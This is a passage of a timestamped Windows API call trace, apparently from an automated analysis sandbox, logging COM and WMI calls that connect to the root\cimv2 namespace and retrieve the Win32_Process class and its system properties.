WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc480, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bfa8d90) returned 0x0 [0078.335] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8d90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.335] WbemDefPath:IUnknown:Release (This=0x1bfa8d90) returned 0x3 [0078.335] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0078.335] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0078.335] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc480, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0078.335] WbemDefPath:IUnknown:Release (This=0x1bfbc480) returned 0x2 [0078.335] WbemDefPath:IUnknown:Release (This=0x1bfbc480) returned 0x1 [0078.335] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0078.336] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0078.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc480, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bfbc480) returned 0x0 [0078.336] WbemDefPath:IUnknown:AddRef (This=0x1bfbc480) returned 0x3 [0078.336] WbemDefPath:IUnknown:Release (This=0x1bfbc480) returned 0x2 [0078.336] WbemDefPath:IWbemPath:SetText (This=0x1bfbc480, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0078.336] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc480, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0078.336] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0078.336] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.336] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0078.336] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0078.336] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0078.336] IUnknown:Release (This=0x111f638) returned 0x1 [0078.337] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bfa8e90) returned 0x0 [0078.338] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8e90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0078.338] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bfa8e90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bfa8eb0) returned 0x0 [0078.338] WbemLocator:IUnknown:Release (This=0x1bfa8e90) returned 0x0 [0078.338] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8eb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bfa8eb0) returned 0x0 [0078.338] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8eb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0078.338] WbemLocator:IUnknown:AddRef (This=0x1bfa8eb0) returned 0x3 [0078.338] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8eb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0078.338] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8eb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0078.338] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8eb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0078.338] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0078.339] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0078.339] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8eb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0078.339] WbemLocator:IUnknown:Release (This=0x1bfa8eb0) returned 0x2 [0078.339] WbemLocator:IUnknown:Release (This=0x1bfa8eb0) returned 0x1 [0078.339] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0078.339] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0078.339] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8eb0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bfa8eb0) returned 0x0 [0078.339] WbemLocator:IUnknown:AddRef (This=0x1bfa8eb0) returned 0x3 [0078.339] WbemLocator:IUnknown:Release (This=0x1bfa8eb0) returned 0x2 [0078.339] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc480, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0078.339] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0078.339] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.339] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bfa8ed0) returned 0x0 [0078.340] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bfa8ed0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bfbaf70) returned 0x0 [0078.531] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbaf70, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf96ba0) returned 0x0 [0078.531] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96ba0, pProxy=0x1bfbaf70, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0078.531] WbemLocator:IUnknown:Release (This=0x1bf96ba0) returned 0x1 [0078.531] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbaf70, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf96be0) returned 0x0 [0078.531] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbaf70, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf96ba0) returned 0x0 [0078.532] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96ba0, pProxy=0x1bfbaf70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0078.532] WbemLocator:IUnknown:Release (This=0x1bf96ba0) returned 0x2 [0078.532] WbemLocator:IUnknown:Release (This=0x1bf96be0) returned 0x1 [0078.532] CoTaskMemFree (pv=0x1bf9a540) [0078.532] WbemLocator:IUnknown:AddRef (This=0x1bfbaf70) returned 0x2 [0078.533] WbemLocator:IUnknown:Release (This=0x1bfa8ed0) returned 0x0 [0078.533] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0078.533] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0078.533] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbaf70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf96bb0) returned 0x0 [0078.534] WbemLocator:IRpcOptions:Query (in: This=0x1bf96bb0, pPrx=0x1bfa8f30, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0078.534] WbemLocator:IUnknown:Release (This=0x1bf96bb0) returned 0x2 [0078.534] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0078.534] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0078.534] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbaf70, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bfbaf70) returned 0x0 [0078.534] WbemLocator:IUnknown:Release (This=0x1bfbaf70) returned 0x2 [0078.534] SysStringLen (param_1=0x0) returned 0x0 [0078.535] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc480, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0078.535] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0078.535] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc480, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.535] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc180, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0078.535] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc180, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0078.535] IWbemServices:GetObject (in: This=0x1bfbaf70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11700b0, ppCallResult=0x0) returned 0x0 [0078.540] IWbemClassObject:Get (in: This=0x11700b0, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0078.540] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0078.540] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0078.540] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0078.540] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0078.541] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0078.541] IUnknown:Release (This=0x111f638) returned 0x1 [0078.543] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bfa8ed0) returned 0x0 [0078.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8ed0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0078.543] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8ed0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bfbc540) returned 0x0 [0078.544] WbemDefPath:IUnknown:Release (This=0x1bfa8ed0) returned 0x0 [0078.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc540, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bfbc540) returned 0x0 [0078.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc540, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0078.544] WbemDefPath:IUnknown:AddRef (This=0x1bfbc540) returned 0x3 [0078.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc540, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0078.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc540, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0078.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc540, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bfa8ef0) returned 0x0 [0078.545] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8ef0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.545] WbemDefPath:IUnknown:Release (This=0x1bfa8ef0) returned 0x3 [0078.545] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0078.545] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0078.545] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc540, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0078.545] WbemDefPath:IUnknown:Release (This=0x1bfbc540) returned 0x2 [0078.545] WbemDefPath:IUnknown:Release (This=0x1bfbc540) returned 0x1 [0078.545] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0078.545] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0078.545] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc540, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bfbc540) returned 0x0 [0078.545] WbemDefPath:IUnknown:AddRef (This=0x1bfbc540) returned 0x3 [0078.545] WbemDefPath:IUnknown:Release (This=0x1bfbc540) returned 0x2 [0078.545] WbemDefPath:IWbemPath:SetText (This=0x1bfbc540, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0078.545] IWbemClassObject:Get (in: This=0x11700b0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0078.546] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0078.546] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0078.546] IWbemClassObject:Get (in: This=0x11700b0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0078.546] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0078.546] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0078.546] IWbemClassObject:Get (in: This=0x11700b0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0078.546] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0078.547] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0078.547] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0078.547] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0078.547] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0078.547] IUnknown:Release (This=0x111f638) returned 0x1 [0078.549] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c000560) returned 0x0 [0078.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c000560, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0078.550] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c000560, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbc600) returned 0x0 [0078.550] WbemDefPath:IUnknown:Release (This=0x1c000560) returned 0x0 [0078.550] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc600, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 